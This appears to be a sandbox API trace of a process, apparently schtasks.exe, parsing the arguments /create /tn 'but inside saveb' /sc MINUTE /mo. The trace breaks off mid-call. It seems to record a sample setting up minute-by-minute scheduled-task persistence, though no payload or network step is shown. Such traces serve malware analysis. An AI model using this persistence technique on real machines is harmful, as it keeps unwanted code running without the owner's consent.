[0158.329] SetLastError (dwErrCode=0x0) [0158.329] SetLastError (dwErrCode=0x0) [0158.329] lstrlenW (lpString="/create") returned 7 [0158.329] lstrlenW (lpString="-/") returned 2 [0158.329] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0158.329] lstrlenW (lpString="create") returned 6 [0158.329] lstrlenW (lpString="create") returned 6 [0158.329] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.330] lstrlenW (lpString="create") returned 6 [0158.330] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.330] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|create|") returned 8 [0158.330] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|create|") returned 8 [0158.330] lstrlenW (lpString="|create|") returned 8 [0158.330] lstrlenW (lpString="|create|") returned 8 [0158.330] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0158.330] SetLastError (dwErrCode=0x0) [0158.330] SetLastError (dwErrCode=0x0) [0158.330] SetLastError (dwErrCode=0x0) [0158.330] lstrlenW (lpString="/tn") returned 3 [0158.330] lstrlenW (lpString="-/") returned 2 [0158.330] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0158.330] lstrlenW (lpString="create") returned 6 [0158.330] lstrlenW (lpString="create") returned 6 [0158.330] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.330] lstrlenW (lpString="tn") returned 2 [0158.330] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.330] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|create|") returned 8 [0158.330] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tn|") returned 4 [0158.330] lstrlenW (lpString="|create|") returned 8 [0158.330] lstrlenW (lpString="|tn|") returned 4 [0158.330] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0158.330] SetLastError (dwErrCode=0x490) [0158.330] lstrlenW (lpString="?") returned 1 [0158.330] lstrlenW (lpString="?") returned 1 [0158.330] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.331] lstrlenW (lpString="tn") returned 2 [0158.331] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.331] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|?|") returned 3 [0158.331] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tn|") returned 4 [0158.331] lstrlenW (lpString="|?|") returned 3 [0158.331] lstrlenW (lpString="|tn|") returned 4 [0158.331] SetLastError (dwErrCode=0x490) [0158.331] lstrlenW (lpString="s") returned 1 [0158.331] lstrlenW (lpString="s") returned 1 [0158.331] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.331] lstrlenW (lpString="tn") returned 2 [0158.331] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.331] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|s|") returned 3 [0158.331] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tn|") returned 4 [0158.331] lstrlenW (lpString="|s|") returned 3 [0158.331] lstrlenW (lpString="|tn|") returned 4 [0158.331] SetLastError (dwErrCode=0x490) [0158.331] lstrlenW (lpString="u") returned 1 [0158.331] lstrlenW (lpString="u") returned 1 [0158.331] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.331] lstrlenW (lpString="tn") returned 2 [0158.331] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.331] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|u|") returned 3 [0158.331] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tn|") returned 4 [0158.331] lstrlenW (lpString="|u|") returned 3 [0158.331] lstrlenW (lpString="|tn|") returned 4 [0158.331] SetLastError (dwErrCode=0x490) [0158.332] lstrlenW (lpString="p") returned 1 [0158.332] lstrlenW (lpString="p") returned 1 [0158.332] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.332] lstrlenW (lpString="tn") returned 2 [0158.332] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.332] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|p|") returned 3 [0158.332] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tn|") returned 4 [0158.332] lstrlenW (lpString="|p|") returned 3 [0158.332] lstrlenW (lpString="|tn|") returned 4 [0158.332] SetLastError (dwErrCode=0x490) [0158.332] lstrlenW (lpString="ru") returned 2 [0158.332] lstrlenW (lpString="ru") returned 2 [0158.332] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.332] lstrlenW (lpString="tn") returned 2 [0158.336] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.337] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|ru|") returned 4 [0158.337] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tn|") returned 4 [0158.337] lstrlenW (lpString="|ru|") returned 4 [0158.337] lstrlenW (lpString="|tn|") returned 4 [0158.337] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0158.337] SetLastError (dwErrCode=0x490) [0158.337] lstrlenW (lpString="rp") returned 2 [0158.337] lstrlenW (lpString="rp") returned 2 [0158.337] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.337] lstrlenW (lpString="tn") returned 2 [0158.337] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.337] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rp|") returned 4 [0158.337] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tn|") returned 4 [0158.337] lstrlenW (lpString="|rp|") returned 4 [0158.337] lstrlenW (lpString="|tn|") returned 4 [0158.337] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0158.337] SetLastError (dwErrCode=0x490) [0158.338] lstrlenW (lpString="sc") returned 2 [0158.338] lstrlenW (lpString="sc") returned 2 [0158.338] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.338] lstrlenW (lpString="tn") returned 2 [0158.338] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.338] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|sc|") returned 4 [0158.338] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tn|") returned 4 [0158.338] lstrlenW (lpString="|sc|") returned 4 [0158.338] lstrlenW (lpString="|tn|") returned 4 [0158.338] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0158.338] SetLastError (dwErrCode=0x490) [0158.338] lstrlenW (lpString="mo") returned 2 [0158.338] lstrlenW (lpString="mo") returned 2 [0158.338] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.338] lstrlenW (lpString="tn") returned 2 [0158.338] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.338] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|mo|") returned 4 [0158.338] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tn|") returned 4 [0158.338] lstrlenW (lpString="|mo|") returned 4 [0158.338] lstrlenW (lpString="|tn|") returned 4 [0158.338] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0158.338] SetLastError (dwErrCode=0x490) [0158.338] lstrlenW (lpString="d") returned 1 [0158.338] lstrlenW (lpString="d") returned 1 [0158.338] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.338] lstrlenW (lpString="tn") returned 2 [0158.338] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.339] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|d|") returned 3 [0158.339] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tn|") returned 4 [0158.339] lstrlenW (lpString="|d|") returned 3 [0158.339] lstrlenW (lpString="|tn|") returned 4 [0158.339] SetLastError (dwErrCode=0x490) [0158.339] lstrlenW (lpString="m") returned 1 [0158.339] lstrlenW (lpString="m") returned 1 [0158.339] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.339] lstrlenW (lpString="tn") returned 2 [0158.339] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.339] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|m|") returned 3 [0158.339] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tn|") returned 4 [0158.339] lstrlenW (lpString="|m|") returned 3 [0158.339] lstrlenW (lpString="|tn|") returned 4 [0158.339] SetLastError (dwErrCode=0x490) [0158.339] lstrlenW (lpString="i") returned 1 [0158.339] lstrlenW (lpString="i") returned 1 [0158.339] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.339] lstrlenW (lpString="tn") returned 2 [0158.339] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.339] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|i|") returned 3 [0158.339] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tn|") returned 4 [0158.339] lstrlenW (lpString="|i|") returned 3 [0158.339] lstrlenW (lpString="|tn|") returned 4 [0158.339] SetLastError (dwErrCode=0x490) [0158.339] lstrlenW (lpString="tn") returned 2 [0158.339] lstrlenW (lpString="tn") returned 2 [0158.340] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.340] lstrlenW (lpString="tn") returned 2 [0158.340] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.340] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tn|") returned 4 [0158.340] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tn|") returned 4 [0158.340] lstrlenW (lpString="|tn|") returned 4 [0158.340] lstrlenW (lpString="|tn|") returned 4 [0158.340] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0158.340] SetLastError (dwErrCode=0x0) [0158.340] SetLastError (dwErrCode=0x0) [0158.340] lstrlenW (lpString="but inside saveb") returned 16 [0158.340] lstrlenW (lpString="-/") returned 2 [0158.340] StrChrIW (lpStart="-/", wMatch=0x62) returned 0x0 [0158.340] SetLastError (dwErrCode=0x490) [0158.340] SetLastError (dwErrCode=0x490) [0158.340] SetLastError (dwErrCode=0x0) [0158.340] lstrlenW (lpString="but inside saveb") returned 16 [0158.340] StrChrIW (lpStart="but inside saveb", wMatch=0x3a) returned 0x0 [0158.340] SetLastError (dwErrCode=0x490) [0158.340] SetLastError (dwErrCode=0x0) [0158.340] lstrlenW (lpString="but inside saveb") returned 16 [0158.340] SetLastError (dwErrCode=0x0) [0158.340] SetLastError (dwErrCode=0x0) [0158.340] lstrlenW (lpString="/sc") returned 3 [0158.340] lstrlenW (lpString="-/") returned 2 [0158.340] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0158.340] lstrlenW (lpString="create") returned 6 [0158.340] lstrlenW (lpString="create") returned 6 [0158.340] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.341] lstrlenW (lpString="sc") returned 2 [0158.341] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.341] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|create|") returned 8 [0158.341] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|sc|") returned 4 [0158.341] lstrlenW (lpString="|create|") returned 8 [0158.341] lstrlenW (lpString="|sc|") returned 4 [0158.341] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0158.341] SetLastError (dwErrCode=0x490) [0158.341] lstrlenW (lpString="?") returned 1 [0158.341] lstrlenW (lpString="?") returned 1 [0158.341] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.341] lstrlenW (lpString="sc") returned 2 [0158.341] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.341] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|?|") returned 3 [0158.341] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|sc|") returned 4 [0158.341] lstrlenW (lpString="|?|") returned 3 [0158.341] lstrlenW (lpString="|sc|") returned 4 [0158.341] SetLastError (dwErrCode=0x490) [0158.341] lstrlenW (lpString="s") returned 1 [0158.341] lstrlenW (lpString="s") returned 1 [0158.341] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.341] lstrlenW (lpString="sc") returned 2 [0158.341] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.341] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|s|") returned 3 [0158.341] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|sc|") returned 4 [0158.341] lstrlenW (lpString="|s|") returned 3 [0158.342] lstrlenW (lpString="|sc|") returned 4 [0158.342] SetLastError (dwErrCode=0x490) [0158.342] lstrlenW (lpString="u") returned 1 [0158.342] lstrlenW (lpString="u") returned 1 [0158.342] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.342] lstrlenW (lpString="sc") returned 2 [0158.342] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.342] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|u|") returned 3 [0158.342] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|sc|") returned 4 [0158.342] lstrlenW (lpString="|u|") returned 3 [0158.342] lstrlenW (lpString="|sc|") returned 4 [0158.342] SetLastError (dwErrCode=0x490) [0158.342] lstrlenW (lpString="p") returned 1 [0158.342] lstrlenW (lpString="p") returned 1 [0158.342] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.342] lstrlenW (lpString="sc") returned 2 [0158.342] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.342] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|p|") returned 3 [0158.342] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|sc|") returned 4 [0158.342] lstrlenW (lpString="|p|") returned 3 [0158.342] lstrlenW (lpString="|sc|") returned 4 [0158.342] SetLastError (dwErrCode=0x490) [0158.342] lstrlenW (lpString="ru") returned 2 [0158.342] lstrlenW (lpString="ru") returned 2 [0158.342] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.342] lstrlenW (lpString="sc") returned 2 [0158.343] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.343] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|ru|") returned 4 [0158.343] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|sc|") returned 4 [0158.343] lstrlenW (lpString="|ru|") returned 4 [0158.343] lstrlenW (lpString="|sc|") returned 4 [0158.343] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0158.343] SetLastError (dwErrCode=0x490) [0158.343] lstrlenW (lpString="rp") returned 2 [0158.343] lstrlenW (lpString="rp") returned 2 [0158.343] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.343] lstrlenW (lpString="sc") returned 2 [0158.343] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.343] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rp|") returned 4 [0158.343] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|sc|") returned 4 [0158.343] lstrlenW (lpString="|rp|") returned 4 [0158.343] lstrlenW (lpString="|sc|") returned 4 [0158.343] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0158.343] SetLastError (dwErrCode=0x490) [0158.343] lstrlenW (lpString="sc") returned 2 [0158.343] lstrlenW (lpString="sc") returned 2 [0158.343] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.344] lstrlenW (lpString="sc") returned 2 [0158.344] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.344] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|sc|") returned 4 [0158.344] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|sc|") returned 4 [0158.344] lstrlenW (lpString="|sc|") returned 4 [0158.344] lstrlenW (lpString="|sc|") returned 4 [0158.344] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0158.344] SetLastError (dwErrCode=0x0) [0158.344] SetLastError (dwErrCode=0x0) [0158.344] lstrlenW (lpString="MINUTE") returned 6 [0158.344] lstrlenW (lpString="-/") returned 2 [0158.344] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0158.344] SetLastError (dwErrCode=0x490) [0158.344] SetLastError (dwErrCode=0x490) [0158.344] SetLastError (dwErrCode=0x0) [0158.344] lstrlenW (lpString="MINUTE") returned 6 [0158.344] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0158.344] SetLastError (dwErrCode=0x490) [0158.344] SetLastError (dwErrCode=0x0) [0158.344] GetProcessHeap () returned 0x2e0000 [0158.344] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fd540 [0158.344] _memicmp (_Buf1=0x2fd540, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.344] lstrlenW (lpString="MINUTE") returned 6 [0158.344] GetProcessHeap () returned 0x2e0000 [0158.344] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xe) returned 0x2fd560 [0158.344] lstrlenW (lpString="MINUTE") returned 6 [0158.344] lstrlenW (lpString=" \x09") returned 2 [0158.344] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0158.345] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0158.345] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0158.345] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0158.345] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0158.345] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0158.345] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0158.345] GetLastError () returned 0x0 [0158.345] lstrlenW (lpString="MINUTE") returned 6 [0158.345] lstrlenW (lpString="MINUTE") returned 6 [0158.345] SetLastError (dwErrCode=0x0) [0158.345] SetLastError (dwErrCode=0x0) [0158.345] lstrlenW (lpString="/mo") returned 3 [0158.345] lstrlenW (lpString="-/") returned 2 [0158.345] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0158.345] lstrlenW (lpString="create") returned 6 [0158.345] lstrlenW (lpString="create") returned 6 [0158.345] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.345] lstrlenW (lpString="mo") returned 2 [0158.345] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.345] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|create|") returned 8 [0158.345] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|mo|") returned 4 [0158.345] lstrlenW (lpString="|create|") returned 8 [0158.345] lstrlenW (lpString="|mo|") returned 4 [0158.345] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0158.345] SetLastError (dwErrCode=0x490) [0158.345] lstrlenW (lpString="?") returned 1 [0158.345] lstrlenW (lpString="?") returned 1 [0158.345] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.346] lstrlenW (lpString="mo") returned 2 [0158.346] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.346] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|?|") returned 3 [0158.346] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|mo|") returned 4 [0158.346] lstrlenW (lpString="|?|") returned 3 [0158.346] lstrlenW (lpString="|mo|") returned 4 [0158.346] SetLastError (dwErrCode=0x490) [0158.346] lstrlenW (lpString="s") returned 1 [0158.346] lstrlenW (lpString="s") returned 1 [0158.346] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.346] lstrlenW (lpString="mo") returned 2 [0158.346] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.346] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|s|") returned 3 [0158.346] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|mo|") returned 4 [0158.346] lstrlenW (lpString="|s|") returned 3 [0158.346] lstrlenW (lpString="|mo|") returned 4 [0158.346] SetLastError (dwErrCode=0x490) [0158.346] lstrlenW (lpString="u") returned 1 [0158.346] lstrlenW (lpString="u") returned 1 [0158.346] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.346] lstrlenW (lpString="mo") returned 2 [0158.346] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.346] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|u|") returned 3 [0158.346] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|mo|") returned 4 [0158.346] lstrlenW (lpString="|u|") returned 3 [0158.346] lstrlenW (lpString="|mo|") returned 4 [0158.346] SetLastError (dwErrCode=0x490) [0158.347] lstrlenW (lpString="p") returned 1 [0158.347] lstrlenW (lpString="p") returned 1 [0158.347] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.347] lstrlenW (lpString="mo") returned 2 [0158.347] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.347] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|p|") returned 3 [0158.347] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|mo|") returned 4 [0158.347] lstrlenW (lpString="|p|") returned 3 [0158.347] lstrlenW (lpString="|mo|") returned 4 [0158.347] SetLastError (dwErrCode=0x490) [0158.347] lstrlenW (lpString="ru") returned 2 [0158.347] lstrlenW (lpString="ru") returned 2 [0158.347] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.347] lstrlenW (lpString="mo") returned 2 [0158.347] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.347] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|ru|") returned 4 [0158.347] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|mo|") returned 4 [0158.347] lstrlenW (lpString="|ru|") returned 4 [0158.347] lstrlenW (lpString="|mo|") returned 4 [0158.347] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0158.347] SetLastError (dwErrCode=0x490) [0158.347] lstrlenW (lpString="rp") returned 2 [0158.347] lstrlenW (lpString="rp") returned 2 [0158.347] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.347] lstrlenW (lpString="mo") returned 2 [0158.347] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.348] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rp|") returned 4 [0158.348] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|mo|") returned 4 [0158.348] lstrlenW (lpString="|rp|") returned 4 [0158.348] lstrlenW (lpString="|mo|") returned 4 [0158.348] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0158.348] SetLastError (dwErrCode=0x490) [0158.348] lstrlenW (lpString="sc") returned 2 [0158.348] lstrlenW (lpString="sc") returned 2 [0158.348] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.348] lstrlenW (lpString="mo") returned 2 [0158.348] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.348] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|sc|") returned 4 [0158.348] _vsnwprintf 